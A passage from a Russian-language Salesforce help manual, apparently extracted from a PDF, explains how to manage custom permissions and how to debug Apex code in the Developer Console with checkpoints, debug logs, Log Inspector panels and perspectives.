Unlimited Edition и
Developer Edition.

Для организаций,
использующих Group
Edition и Professional
Edition, нельзя создавать или
редактировать
настраиваемыеполномочия,
но можно установить их как
часть управляемого пакета.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
полномочий:
• «Управление

настраиваемыми
полномочиями»

Система позволяет создавать настраиваемые полномочия для предоставления
пользователям доступа к настраиваемым процессам или приложениям.

1. Введите строку «Настраиваемые полномочия» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Настраиваемые полномочия».

2. Нажмите кнопку «Создать».

3. Введите сведения о полномочии.

• «Метка»: метка полномочия, отображаемая в наборах полномочий.

• «Имя»: уникальноеимя, используемоеинтерфейсом API иуправляемымипакетами.

• «Описание»: описаниефункций, доступных при наличии данного полномочия
(например, «Утверждение запросов на отгулы»).

• «Связанное приложение»: связанное приложение, назначенное данному
полномочию.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые полномочия
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Редактирование настраиваемых полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Для организаций,
использующих Group
Edition и Professional
Edition, нельзя создавать или
редактировать
настраиваемыеполномочия,
но можно установить их как
часть управляемого пакета.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
настраиваемыхполномочий:
• «Управление

настраиваемыми
полномочиями»

Система позволяет редактировать настраиваемые полномочия, предоставляющие
пользователям доступ к настраиваемым процессам или приложениям.

1. Введите строку «Настраиваемые полномочия» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Настраиваемые полномочия».

2. Щелкните ссылку «Правка» напротив нужного полномочия.

3. При необходимости измените сведения о полномочии.

• «Метка»: метка полномочия, отображаемая в наборах полномочий.

• «Имя»: уникальноеимя, используемоеинтерфейсом API иуправляемымипакетами.

• «Описание»: описаниефункций, доступных при наличии данного полномочия
(например, «Утверждение запросов на отгулы»).

• «Связанное приложение»: связанное приложение, назначенное данному
полномочию.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые полномочия
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Добавление или удаление обязательных настраиваемых полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Для организаций,
использующих Group
Edition и Professional
Edition, нельзя создавать или
редактировать
настраиваемыеполномочия,
но можно установить их как
часть управляемого пакета.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления или
удаления обязательных
настраиваемыхполномочий:
• «Управление

настраиваемыми
полномочиями»

Обязательное настраиваемое полномочие — это настраиваемое полномочие, которое
должно быть включено при включении родительского настраиваемого полномочия.
Например, настраиваемое полномочие «Утверждение запросов на отгулы» может
требовать наличия настраиваемого полномочия «Отправка запросов на отгулы».

1. Введите строку «Настраиваемые полномочия» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Настраиваемые полномочия».

2. Создайте или выберите текущее настраиваемое полномочие.

3. Нажмите кнопку «Правка» в связанном списке «Обязательные настраиваемые
полномочия».

4. Чтобы добавить настраиваемые полномочия, выберите нужные настраиваемые
полномочия в списке «Доступные настраиваемые полномочия» и нажмите кнопку
«Добавить». Чтобы удалить настраиваемые полномочия, выберите нужные
настраиваемые полномочия в списке «Обязательные настраиваемые полномочия»
и нажмите кнопку «Удалить».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настраиваемые полномочия

Отладка

Отладка кода
Данный раздел содержит сведения об отладке созданного кода.

• Вкладка Checkpoints

• Checkpoint Inspector

• Вкладка Logs

• Log Inspector

• Примеры использования представления Log Inspector

• Использование журналов отладки

Отладка посредством консоли разработчика

Вкладка Checkpoints
Вкладка Checkpoints отображает список сохраненных контрольных точек, содержащих снимок состояния объектов,
находящихся в памяти на момент достижения контрольной точки.
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Checkpoints
Данныйсписок содержитконтрольныеточки, доступныедляпросмотра. Чтобыпросмотреть только контрольныеточки,
созданные после открытия консоли разработчика, последовательно выберите пункты Debug > My Current Checkpoints
Only. Чтобыпросмотреть все контрольныеточки, сохраненныедляорганизации, включая контрольныеточки, созданные
другими пользователями, снимите данныйфлажок.

Ниже перечислены сведения, отображаемые для каждой контрольной точки в списке.

ОписаниеСтолбец

Пространство имен пакета, содержащего контрольную точку.Namespace

Класс Apex, содержащий контрольную точку.Class

Номер строки, помеченной контрольной точкой.Line

Время достижения контрольной точки.Time

Чтобы отсортировать содержимое столбца, щелкните заголовок нужного столбца правой кнопкой мыши. При
необходимости выберите столбцы, которые должны отображаться в списке Checkpoints.

Чтобы открыть контрольную точку, дваждыщелкните нужную контрольную точку. Контрольная точка открывается в
представлении Checkpoint Inspector.

Checkpoint Locations
Данный список определяет расположение каждой контрольной точки в исходном коде. Ниже перечислены сведения,
отображаемые для каждого элемента в списке.

ОписаниеСтолбец

Имя класса Apex, содержащего контрольную точку.File

Номер строки, помеченной контрольной точкой.Line

Значение итерации для сбора контрольной точки, используемой в цикле.Iteration

Поумолчаниюитерациизадается значение «1», указывающеена сохранениеконтрольнойточкиприпервомвыполнении
строки исходного кода. При необходимости измените значение итерации (например, для определения причины
несвоевременного завершения цикла). Чтобы изменить значение итерации, щелкните нужную ячейку и введите новое
число. Для отдельной строки кода допускается сбор только одной контрольной точки, независимо от количества
выполнений данной строки во время запроса.
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Чтобы задать расположения контрольных точек, воспользуйтесь представлением Source Code Editor. Чтобы удалить
расположения контрольных точек, нажмите кнопку Clear или закройте консоль разработчика.

СМ. ТАКЖЕ:

Checkpoint Inspector

Настройка контрольных точек в коде Apex

Наложение кода Apex и операторов SOQL

Использование консоли разработчика

Настройка контрольных точек в коде Apex
Рекомендуемиспользоватьконтрольныеточкиконсолиразработчикадляотладкиклассовитриггеров Apex. Контрольные
точки не могут быть заданы в разметке Visualforce.

Важное замечание: Чтобы воспользоваться контрольными точками, выберите уровень журнала Apex Finer или
Finest. См. подраздел «Настройка уровней регистрации».

Чтобы задать новую контрольную точку, выполните указанные ниже действия.

1. Откройте класс или триггер Apex в представлении Source Code Editor.

2. Щелкнитеполе слеваотномеранужнойстроки. Одновременноразрешается активироватьнеболеепятиконтрольных
точек.

Результаты контрольной точки собираются только одинраз, независимоот количества выполнений строки кода. По
умолчанию сбор результатов контрольной точки осуществляется перед первым выполнением строки кода. При
необходимостиизменитеитерациюсборавсписке Checkpoint Locations навкладке Checkpoints. Крометого, пользователи
могут накладывать код Apex и операторы SOQL, выполняемые при выполнении кода в контрольной точке.

3. Откройте консоль разработчика и выполните код.

4. Просмотрите контрольные точки и результаты на вкладке Checkpoints.

Чтобы удалить контрольные точки, последовательно выберите пункты Debug > Clear Checkpoint Locations.

Прим.: Если контрольная точка задается в методе с примечанием@future, то консоль разработчика должна быть
открыта до завершения асинхронного выполнения метода @future.

СМ. ТАКЖЕ:

Log Inspector

Наложение кода Apex и операторов SOQL

Вкладка Checkpoints

Checkpoint Inspector

Наложение кода Apex и операторов SOQL

Рекомендуемиспользовать консольразработчика дляналожениядиагностики, выполняемойпри выполнениикода Apex
в контрольной точке, без изменения кода.

См. раздел «Настройка контрольных точек в коде Apex».
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При устранении ошибки выполнения могут потребоваться сведения о состоянии переменной или базы данных. Кроме
того, для тестирования кода могут быть созданы особые условия. Консоль разработчика позволяет накладывать код Apex
и операторы SOQL, выполняемые при выполнении кода в контрольной точке.

1. Задайте контрольные точки и выполните код, а затем откройте вкладку Checkpoints.

2. Выберите нужную контрольную точку и нажмите кнопку Edit Properties.

3. Установите переключатель SOQL или Apex Code. Чтобы выполнить диагностический код без создания дампа
динамической памяти в контрольной точке, снимите флажок Dump Heap.

4. Введите SOQL или код Apex в поле Action Script и нажмите кнопку OK.

Прим.: Пользователи не могут обращаться к локальнымобъектам, так как анонимныйблок представлен новым
стековымфреймом. Рекомендуем обращаться к статическим объектам или создавать объекты. Кроме того,
запросы SOQL, используемые в наложениях, не могут содержать переменные связывания.

РезультатыналоженногокодаотображаютсянаотдельнойвкладкеQuery ResultsилиApex Execution Resultsпредставления
Checkpoint Inspector. Дополнительную информацию о навигации по результатам запросов см. в разделе «Query Editor».

Прим.: Значение -1 на вкладке Apex Execution Results указывает на невозможность применения поля.

СМ. ТАКЖЕ:

Настройка контрольных точек в коде Apex

Вкладка Checkpoints

Checkpoint Inspector

Checkpoint Inspector
Контрольные точки позволяют определять объекты, находящиеся в памяти на определенный момент выполнения, а
также просматривать другие ссылающиеся на них объекты.

Чтобы просмотреть результаты в представлении Checkpoint Inspector, откройте вкладку Checkpoints и дваждыщелкните
нужную контрольную точку. Представление Checkpoint Inspector содержит более подробные сведения о переменных
(включая отдельные элементы совокупности), чем представление Log Inspector.

Представление Checkpoint Inspector содержит две вкладки.

• Вкладка Heap содержит все объекты, находящиеся в памяти на момент выполнения строки кода в контрольной точке.
Элементы перечислены и сгруппированы по типу данных.
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– Столбец Types содержитнеструктурированныйсписокклассовдлявсехинстанцированныхобъектов, находящихся
впамятинамоментдостиженияконтрольнойточки; столбецотображает количествоинстанцированныхобъектов
и затраченный объем памяти (в байтах). Чтобы просмотреть список инстанцированных объектов в столбце
Instances, а такжеих адреса в динамическойпамятии затраченныйобъемпамяти, щелкнитенужныйэлемент. Чтобы
просмотреть переменные, которые в настоящее время заданы для данного объекта в столбце State, щелкните
нужный экземпляр.

– Вкладка References содержит два списка, которые позволяют просматривать взаимосвязи между символами,
хранящимися в памяти. Список Inbound References позволяет находить символы, которые могут содержать ссылки
на объекты определенного типа. Список Referencing Instances позволяет находить конкретные экземпляры,
содержащиессылкинасимвол. Чтобынайтиэкземплярвдругойобластидинамическойпамяти, дваждыщелкните
нужный экземпляр.

– Вкладка Search позволяет находить символы в динамической памяти по значению или адресу. Поиск может быть
выполнен по неполному значениюили точному адресу. Чтобы найти нужное значение, щелкните значок поиска
( ), отображающийся справа от значения при его выборе на панели State.

• Вкладка Symbols содержит древовидное представление всех символов, находящихся в памяти на момент достижения
контрольной точки. Данная вкладка позволяет быстро просмотреть состояние системы в определенной строке кода
(и итерацию), которая использовалась для настройки контрольной точки.

Важное замечание: Если при использовании компьютера Mac панели Checkpoint Inspector не содержат полос
прокрутки, откройте«Системныенастройки» > «Общее»ивыберитезначение «Всегда» дляпараметра «Показывать
полосы прокрутки».

СМ. ТАКЖЕ:

Вкладка Checkpoints

Настройка контрольных точек в коде Apex

Наложение кода Apex и операторов SOQL

5832

Отладка посредством консоли разработчикаРасширение Salesforce посредством кода



Вкладка Logs
Вкладка Logs консолиразработчикапозволяетоткрыватьжурналы, содержащиесобытиябазыданных, процессыобработки
Apex, бизнес-процессы, выноски и логику проверки.

Консоль разработчика автоматически опрашивает журналы отладки текущего пользователя и добавляет их на вкладку
Logs. Например, при наличии правил проверки, связанных со вставкой записи, добавление новой записи инициирует
создание журнала отладки для запроса и его добавление в список.

• Чтобы открыть выбранныйжурнал в представлении Log Inspector, последовательно выберите пункты File > Open Log
или дваждыщелкните нужный журнал на вкладке Logs. Рекомендуем использовать представление Log Inspector для
просмотра журнала отладки, оценки кода Apex, отслеживания производительности или операций DML и т. д.

• Чтобы открыть выбранный журнал в текстовом редакторе, последовательно выберите пункты File > Open Raw Log.

• Чтобы отфильтровать доступные журналы, установите флажок Filter и введите нужный текст. Например, чтобы
просмотреть журналы отладки конкретного пользователя, введите его имя. Фильтр чувствителен к регистру.

• Чтобы удалить все журналы из списка, последовательно выберите пункты Debug > Clear > Log Panel.

• ПоумолчаниювкладкаLogsотображаеттольконовыежурналы, созданныетекущимпользователем. Чтобыпросмотреть
все журналы отладки, сохраненные для организации, в том числе журналы, созданные другими пользователями,
откройте меню Debug и снимите флажок Show My Current Logs Only.

• Чтобы автоматически скрыть все текущиежурналыприпоследующемобновлении страницы, откройте менюDebug
и установите флажок Auto-Hide Logs.

• Чтобы загрузить текстовую копию выбранного журнала, последовательно выберите пункты File > Download Log.
Имя файла по умолчанию: apex.log.

• Чтобы предотвратить загрузку журналов при открытии консоли разработчика, последовательно выберите пункты
Help > Preferences и задайте параметру Prevent Logs on Load значение true.

Прим.: Чтобынастроитьжурналыпользователей, откройтестраницу «Журналотладки». Введитестроку «Журналы
отладки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Журналы отладки».

Настройка уровней регистрации
Уровни регистрации определяют объем информации о запросе, который сохраняется в журнале отладки. Чем больше
размержурнала, тем дольше выполняется его анализ. Чтобы уменьшить размержурнала, измените уровень регистрации.
Рекомендуем использовать расширенную регистрацию для просматриваемого кода, а сокращенную регистрацию для
второстепенного кода.

Чтобы выбрать уровни регистрации для будущих запросов, последовательно выберите пункты Debug > Change Log
Levels. На этой странице можно определить флаги трассировки и уровни отладки.

Чтобы переопределить уровни ведения журнала по умолчанию для определенного класса или триггера или установить
ведение журнала для пользователя, добавьте флаг трассировки, который включает длительность и уровень отладки.

Чтобы сохранить внесенные изменения и закрыть окно, нажмите кнопку Done.

Прим.: При выполнении отладки посредством контрольных точек выберите уровень регистрации Apex Code FINER
или FINEST. (Запрещается использовать уровень FINEST для развертывания.)
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Дополнительнуюинформациюокаждомпараметре см. в подразделах «Категориижурнала отладки»и «Уровнижурнала
отладки».

Важное замечание: Если консоль разработчика открыта, то общие уровни журнала, заданные на консоли
разработчика, влияют на все журналы, включая журналы, созданные во время разработки. Прежде чем начать
разработку, убедитесь, что уровню журнала Apex Code не задано значение Finest. В противном случае разработка
может занять больше времени, чем планировалось.

СМ. ТАКЖЕ:

Настройка функции ведения журналов отладки

Меню Debug

Log Inspector

Уровни журнала отладки

Порядок очередности журнала отладки

Log Inspector
Представление Log Inspector — это контекстно-зависимая область выполнения, отображающая источник, причину и
результатыоперации. Данныйинструментпозволяетпросматриватьжурналыотладки, содержащиесобытиябазыданных,
процессы обработки Apex, бизнес-процессы и логику проверки.

Панели, отображаемые в представлении Log Inspector, определяются выбранной перспективой. Чтобы выбрать другую
перспективу, последовательновыберитепунктыDebug > Switch Perspective. Дополнительнуюинформациюостандартных
и настраиваемых перспективах см. в разделе «Управление перспективами в представлении Log Inspector».

Панели журнала
Ниже перечислены панели, которые могут быть доступны в представлении Log Inspector.

• Stack Tree

• Execution Stack

• Execution Log

• Source

• Variables

• Execution Overview

Чтобы выбрать доступные панели и создать настраиваемую перспективу, последовательно выберите пункты Debug >
View Log Panels или воспользуйтесь клавишами быстрого доступа CTRL + P.

При создании настраиваемой перспективы многоразового использования последовательно выберите пункты Debug >
Save Perspective и введите запоминающееся имя. Чтобы выбрать сохраненную настраиваемую перспективу при
использовании представления Log Inspector, последовательно выберите пункты Debug > Switch Perspective.
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Как правило, панели обновляются автоматически и отображают данные при выборе нужного элемента на связанной
панели. Например, при выборе папки на панели Stack Tree обновляется содержимое панелей Execution Stack, Execution Log
и Source, которые отображают сведения о связанном объекте. При выборе строки на панели Execution Log обновляется
содержимое панелей Stack Tree, Execution Stack и Source, которые отображают подробные сведения о данной строке. При
выборе элемента на вкладке Executed Units панели Execution Overview обновляется содержимое панелей Execution Log, Stack
Tree, Execution Stack и Source.

Stack Tree
Панель Stack Tree содержитдвадревовидныхпредставления, отображающихсведенияпопринципу «сверху вниз», начиная
с вызововверхнегоуровня, благодарячемупользователимогутпросматриватьиерархиюэлементоввпроцессе. Например,
если один класс вызывает другой класс, то второй класс отображается в качестве дочернего узла первого класса.

Вкладка Execution Tree отображает каждуюоперацию. Например, еслицикл for вызывает 8 разметод System.debug(),
то вкладка Execution Tree отображает продолжительность каждого вызова.

Вкладка Performance Tree группирует операции, позволяя получить более полное представление о производительности
отдельных операций. В примере выше вкладка Performance Tree отображает общую продолжительность каждого вызова
метода debug.

Данныйжурналсозданпосредствомокна Execute Anonymous. Вызовыметода debug идругихметодовиздругихобластей
кода группируются в выполненную единицу.

Ниже перечислены сведения, доступные в каждом разделе панели Stack Tree.

ОписаниеСтолбец

Ограниченная область процесса, например, бизнес-правило, класс или DML.Scope

Имя элемента (области).Unit

Время, затраченное на выполнение элемента (в миллисекундах).Duration

Размер динамической памяти, использованной элементом (в байтах).Heap

Количество вызовов элемента.Iterations
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Execution Stack
Панель Execution Stack отображает сведения об элементе, выбранном в журнале отладки, по принципу «снизу вверх» —
сначала отображается вызов нижнего уровня, затем вызвавшая его операция и т. д.

Execution Log
Панель Execution Log содержит журнал отладки для текущего процесса. Вжурнале отладки регистрируются все действия,
выполненныевовремяпроцесса, например, вызовыметода, бизнес-правилаиоперации DML. Чтобыпросмотретьдлинные
строки, усеченные в представлении, наведите указатель мыши на нужную строку для отображения всплывающего окна.

Рекомендуем использовать панель Execution Log для повторной трассировки этапов процесса. При необходимости
просмотрите строки самостоятельно или отфильтруйте журнал по конкретным строкам.

• This Frame: отображение только данной области процесса или только элементов, связанных с данным уровнем.
Например, привыборе триггера, вызывающегокласс, отображаются толькооперациитриггера. Привыборе элемента
CODE_UNIT_STARTED и установке флажка This Frame отображаются только элементы процесса, произошедшие
между событием CODE_UNIT_STARTED и связанным событием CODE_UNIT_ENDED.

• Executable: отображение только выполняемых элементов в журнале отладки. Данныйфлажок скрывает сводные
сведения по ограничениям (например, количество отправленных запросов SOQL, количество строк DML и т. д.).

Совет: Рекомендуем всегда устанавливать флажок Executable. Рекомендуем снимать данныйфлажок только
при оптимизации процесса для просмотра сведений по конкретным ограничениям.

• Debug Only: отображение только операторов отладки, добавленных в код.

• Filter: отображение элементов, соответствующих содержимому связанного поля. Например, при установке флажка
Filter и вводе критерия DML отображаются только строки журнала выполнения, содержащие данный критерий в
событиях или сведениях. Фильтр чувствителен к регистру.

Ниже перечислены сведения, доступные на панели Execution Log.
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ОписаниеСтолбец

Системное время начала процесса, отображаемое в часовом поясе локального пользователя.
Строка должна иметь следующийформат: ЧЧ:ММ:СС:МСС.

Timestamp

Событие отладки.Event

Дополнительные сведения о событии, например, номер строки и параметры.Details

Source
Панель Source отображает выполненный исходный код или определения метаданных для объектов, использованных во
времяпроцесса, атакжесодержитколичествовыполненийстрокикода. Содержимое, отображаемоенапанели, определяется
параметрами, заданными в других областях представления.

Чтобы открыть конкретную строку кода, введите номер нужной строки в текстовую область, расположенную внизу
панели Source, и нажмите кнопку Jump.

Чтобы открыть выполненный исходный код в представлении Source Code Editor, нажмите кнопку Open.

Прим.: При выполнении правил проверки или бизнес-правил во время процесса представление метаданных
отображается на панели Source. Консоль разработчика не позволяет открывать представление в виде метаданных.
См. разделы ValidationRule и Workflow Руководства разработчика Force.com Metadata API.

Variables
Панель Variables позволяет определять наличие значения, назначенного переменной, и просматривать данное значение.
Чтобы заполнить раздел, щелкните событие Variable.

Прим.: Назначения переменной регистрируются при использовании уровня журнала Apex Code Finest.

При необходимости содержимое переменных может быть просмотрено посредством контрольных точек, содержащих
дополнительные сведения об объектах, хранящихся в памяти на момент выполнения. Дополнительную информацию
см. в разделе «Настройка контрольных точек в коде Apex».

Execution Overview: Save Order, Limits, Timeline и Executed Units

Панель Execution Overview, расположенная в нижней части представления Log Inspector, содержит четыре вкладки.

• Вкладка Save Order отображает цветокодированную временнуюшкалу действий DML. Временная шкала отображает
элементы в виде узких блоков для каждого выполненного действия DML.

Ниже перечислены цвета, используемые для обозначения элементов.
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ТипЦвет

Триггер BeforeКрасный

Триггер AfterОранжевый

Правило проверкиЗеленый

Правило назначенияСиний

Бизнес-правилоФиолетовый

Чтобы просмотреть сведения об отдельном элементе, щелкните связанный узкий блок во временнойшкале.
Всплывающее окно отображает дополнительную информацию, включая ссылку для перехода к соответствующей
области журнала.

Чтобы просмотреть коды измененных записей, щелкните имя объекта sObject на левой панели.

• Вкладка Limits отображаетобщиесистемныеограниченияпоимениииспользованномуколичеству, а также содержит
сведения ниже.

ОписаниеСтолбец

Имя ограничения.Limit

Часть ограничения, использованная данным процессом на данный момент выполнения.Used so far

Часть ограничения, использованная запросом по завершении.Request Total

Итоговое ограничение.Total Available

• Вкладка Timeline позволяет просматривать время, затраченное каждым процессом. Чтобы получить более точное
представление, установите нужный переключатель для параметра Scale.

Ниже перечислены сведения, доступные на вкладке Timeline.

ОписаниеСтолбец

Тип процесса.Категория

Количество миллисекунд, затраченное на выполнение процесса.Millis

Процентное отношение процесса ко всему запросу.%
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• Вкладка Executed Units отображает системные ресурсы, используемые каждым элементом в процессе.

Кнопки, отображаемые внизу вкладки, могут использоваться для фильтрации данных по типу элемента. Например,
чтобы скрыть сведения о методах, нажмите кнопкуMethods. Чтобы отменитьфильтрацию, нажмите данную кнопку
второй раз.

Ниже перечислены сведения, доступные на вкладке Executed Units.

ОписаниеСтолбец

Тип элемента процесса. Допустимые типы:What

– Method (Метод)

– Queries (Запросы)

– Бизнес-правило

– Callouts (Сноски)

– DML

– Validations (Проверки)

– Triggers (Триггеры)

– Pages (Страницы)

Имя элемента процесса.Name

Общая продолжительность выполнения элемента.Sum

Средняя продолжительность выполнения элемента.Avg

Максимальная продолжительность выполнения элемента.Max

Минимальная продолжительность выполнения элемента.Min

Количество вызовов элемента во время процесса.Count

Размер пространства, занятого элементом в динамической памяти.Heap

Тип запроса. Возможные значения:Query Type

– SOQL

– SOSL

Общее количество записей, измененных для элемента.Sum rows

Среднее количество записей, измененных для элемента.Avg rows

Максимальное количество записей, измененных для элемента.Max rows
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ОписаниеСтолбец

Минимальное количество записей, измененных для элемента.Min row

Чтобы отсортировать данные по конкретному столбцу, щелкните заголовок нужного столбца.

Важное замечание: Если при использовании компьютера Mac панели Log Inspector не содержат полос прокрутки,
откройте «Системныенастройки» > «Общее»ивыберите значение «Всегда»дляпараметра «Показывать полосы
прокрутки».

СМ. ТАКЖЕ:

Меню Debug

Вкладка Logs

Управление перспективами в представлении Log Inspector

Создание настраиваемых перспектив в представлении Log Inspector

Примеры использования представления Log Inspector

Ниже приведены некоторые примеры использования представления Log Inspector для диагностики и решения проблем.

• Отслеживание выполняемой ветви

• Просмотр операторов System.Debug

• Обновление исходного кода

• Отслеживание DML в запросах

• Оценка эффективности использования страниц Visualforce

• Просмотр сложного процесса

Отслеживание выполняемой ветви
Сценарий. Журнал отладки был открыт в представлении Log Inspector. Что дальше?

1. Чтобы скрыть все действия, которые недоступны для выполнения, включая сводные сведения по ограничениям,
установите флажок Executable на панели Execution Log.

2. Чтобы просмотреть сводные значения для операций разного типа, откройте вкладку Еxecuted Units на панели
Execution Overview. Например, можетепросмотреть количествоопераций DML илидругихметодовпо типуметода.

3. Чтобыпросмотретьконтролирующиеограничения, использованныеданнойоперацией, воспользуйтесьвкладкой
Limits.

Просмотр операторов System.Debug
Сценарий. Операторы System.Debug добавленывкоддляотслеживанияпроцесса выполнения запроса. Какнайти
данные операторы посредством представления Log Inspector?

1. Установите флажок Filter на панели Execution Log.

2. Введите DEBUG в текстовую область.

Отображаются только строки запроса, содержащие слово DEBUG.

Обновление исходного кода
Сценарий. При просмотре журнала отладки после выполнения запроса была обнаружена ошибка в коде Apex. Как
внести изменения в код Apex?
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1. Выберите строку кода на панели Source.

2. Нажмите кнопку Open.

Класс или триггер открывается на новой вкладке Source Code Editor.

Отслеживание DML в запросах
Сценарий. Запрос содержит большое количество операторов DML, расположенных в разных местах. Как определить
количество выполнений операции DML в запросе?

Пользователю доступны два способа детализации журнала отладки с целью просмотра текущей операции DML,
выполненной в ходе запроса.

1. Установите флажок Filter на панели Execution Log и введите строку DML. Отображаются все элементы запроса,
содержащие операцию DML в событиях или сведениях.

2. Откройте вкладку Executed Units на панели Execution Overview и отключите все типы выполнения, кроме DML.
Данные кнопки являются переключателями: нажмите один раз, чтобы отфильтровать список по данному типу
операции. Нажмите второйраз дляотменыданногофильтра. Чтобыпросмотреть толькооперации DML, нажмите
кнопкиMethods, Queries, Workflow, Callouts, Validations, Triggers иСтраницы Visualforce.

• Сведения об операции DML содержат тип задействованного объекта и тип выполненной операции (вставка,
обновление и т. д.). Также можете просмотреть количество выполнений оператора DML, количество строк и
т. д.

• При выборе элемента запроса DML на вкладке Еxecuted Units панель Еxecution Log скрывает все другие части
запроса и отображает только оператор DML.

Данные алгоритмы могут также использоваться для поиска и фильтрации запросов.

Оценка эффективности использования страниц Visualforce
Сценарий. Пользователю доступна страница Visualforce, а также контроллер Apex, который выполняет запросы SOQL.
Какпроанализировать эффективностьиспользованиястраницыиопределить единицукода, на выполнениекоторой
потребовалосьнаибольшееколичествовремени? Какопределитьколичествозапросов SOQL, выполненныхвзапросе
пользователя? И как просмотреть использованные контролирующие ограничения?

1. Найдите имя страницы Visualforce на панели Stack Tree. Для верхнего уровня используется следующийформат:
/apex/имя_страницы. Первыйрасположенныйнижеузелуказываетнафактическоевыполнениестраницы. Чтобы
просмотреть время инициализации контроллера, откройте данный узел.

2. Чтобыпросмотреть вызовыметодови время, затраченноена выполнениекаждогометода, откройтепоследующие
узлы. При выборе элемента на панели Stack Tree панель Execution Log отображает часть журнала отладки, панель
Source обновляет сведения для отображения соответствующего исходного кода, а панель Variables отображает
переменные, доступные в контексте.

3. Чтобы просмотреть статистику по коду (включая время выполнения в миллисекундах и размер динамической
памятивбайтах), откройте вкладку Executed Units напанели Execution Overview. Столбец Cnt отображает количество
выполнений определенной единицы кода. Если единица кода выполнялась несколько раз, то также обновляются
значения в столбцах Sum, Avg, Max и Min. Аналогично, если запрос выполнялся несколько раз, то отображаемые
данные обновляются для определения общего количества возвращенных строк.

Чтобы просмотреть только нужные единицы кода и пропустить ненужные, воспользуйтесь соответствующими
кнопками ниже. Дополнительную информацию см. в подразделе «Отслеживание DML в запросах».
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4. Чтобы просмотреть доступные ограничения и использованное количество по каждому ограничению, откройте
вкладку Limits. Столбец Total Available отображает контролирующиеограничения, установленныедляорганизации
по каждому типуоперации. Столбец Request Total отображает общее количество выполненных запросов. Столбец
Used So Far отображает количество запросов, использованных на момент выполнения, выбранный в разделе Stack
или Execution Log.

5. Чтобы просмотреть визуальное представление выполненных единиц кода, разделенное по типам единицы кода,
а также итоговые и процентные значения времени выполнения для каждого типа единицы кода, откройте вкладку
Timeline. Временнаяшкалапозволяетбыстроопределить течасти запроса, навыполнениекоторыхпотребовалось
наибольшее количество времени. Чтобы изменить период времени, используемый на шкале, выберите нужный
временной интервал в нижней части раздела Summary.

В нашем примере больше всего времени потребовалось на выполнение запросов базы данных (56,95%). Затем
следуют страницы Visualforce. Меньше всего времени было затрачено на выполнение кода Apex. Кроме того,
страницыVisualforceикодApexвыполнялисьпервымиипоследними, аоперациибазыданныхвыполнялисьмежду
ними.

Просмотр сложного процесса
Сценарий. Используется сложныйпроцесс, включающийв себянесколько классови триггеровApex, бизнес-правила
и правила проверки. Что делать дальше или как выполнить фильтрацию полученного журнала отладки?

1. Раздел Stack отображаетдревовиднуюструктуру, содержащуювсе элементызапроса верхнего уровня. Используйте
этот раздел для просмотра иерархии выполняемых элементов.

2. Введитенужныйкритерийв текстовуюобластьFilterраздела Execution Log. Например, чтобыпросмотреть события,
связанныес триггером, щелкнитеобластьFilterивведите trigger. Раздел Execution Log отображает только строки
журнала отладки, содержащие слово trigger.

3. Чтобы ограничить область вкладки Execution Log определенной единицей выполнения, установите флажок This
Frame. Например, при выборе строки, содержащей событие CODE_UNIT_STARTED, и установке флажка This
Frame, в разделе Execution Log отображаются только те элементы запроса, которые произошли между событием
CODE_UNIT_STARTED и связанным с ним событием CODE_UNIT_ENDED.

Прим.: Если флажок This Frame установлен, то раздел Execution Log отображает только элементы,
содержащиесявданнойрамке; операциинижнихуровнейнеотображаются. Например, еслитриггервызывает
класс, то раздел Execution Log отображает только операции триггера, но не операции класса.
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Перспективы представления Log Inspector

Создание настраиваемых перспектив в представлении Log Inspector

Перспектива — это предопределенный макет панелей в представлении Log Inspector консоли разработчика.

При выполнении задачи в представлении Log Inspector рекомендуем использовать перспективу, позволяющуюускорить
и упростить процесс выполнения задачи. Каждый разработчик использует собственный стиль. Список стандартных
перспектив см. в разделе «Log Inspector».

Чтобы создать настраиваемую перспективу или изменить текущую перспективу, выполните указанные ниже действия.

1. Откройте журнал в представлении Log Inspector консоли разработчика.

2. Последовательно выберите пункты Debug > View Log Panels и выберите нужные панели.

Списокдоступныхпанелейсм. вподразделе «Панелижурнала». Имяизмененнойперспективыдополняется символом
«*», который удаляется после ее сохранения.

Совет: При создании перспективы, содержащей панель Execution Log, рекомендуем добавить панель Source.

3. Чтобы сохранить внесенные изменения, нажмите кнопку Save Perspective. Чтобы создать перспективу, нажмите
кнопку Save Perspective As и введите новое имя.

СМ. ТАКЖЕ:

Log Inspector

Управление перспективами в представлении Log Inspector

Управление перспективами в представлении Log Inspector

Перспектива — это предопределенный макет панелей в представлении Log Inspector консоли разработчика.

При выполнении задачи в представлении Log Inspector убедитесь в выборе правильной перспективы.

Для управления перспективами последовательно выберите пункты Debug > Perspective Manager.

• Чтобывыбратьдругуюперспективу, дваждыщелкнитеимянужнойперспективыиливыберитеперспективуинажмите
кнопку Open.

• Чтобы изменить стандартную перспективу, выберите имя нужной перспективы и нажмите кнопку Set Default.

• Чтобы удалить перспективу, выберите имя нужной перспективы и нажмите кнопку Delete.

• Дополнительную информацию о создании настраиваемой перспективы см. в разделе «Создание настраиваемых
перспектив в представлении Log Inspector».

Ниже перечислены предопределенные перспективы.

• All (по умолчанию)
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• Debug: перспектива, предназначенная для отладки кода и содержащая панели Execution Log, Source и Variables.

• Log Only: универсальная перспектива, предназначенная для просмотра журнала выполнения и содержащая только
панель Execution Log.
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• Analysis: перспектива, предназначенная для анализа журнала и содержащая панели Stack Tree, Execution Stack, Execution
Log и Execution Overview.

Рекомендуем использовать перспективу, позволяющую ускорить и упростить процесс выполнения задачи. Каждый
разработчикиспользует собственныйстиль; еслипредопределенныеперспективывышене соответствуютпоставленным
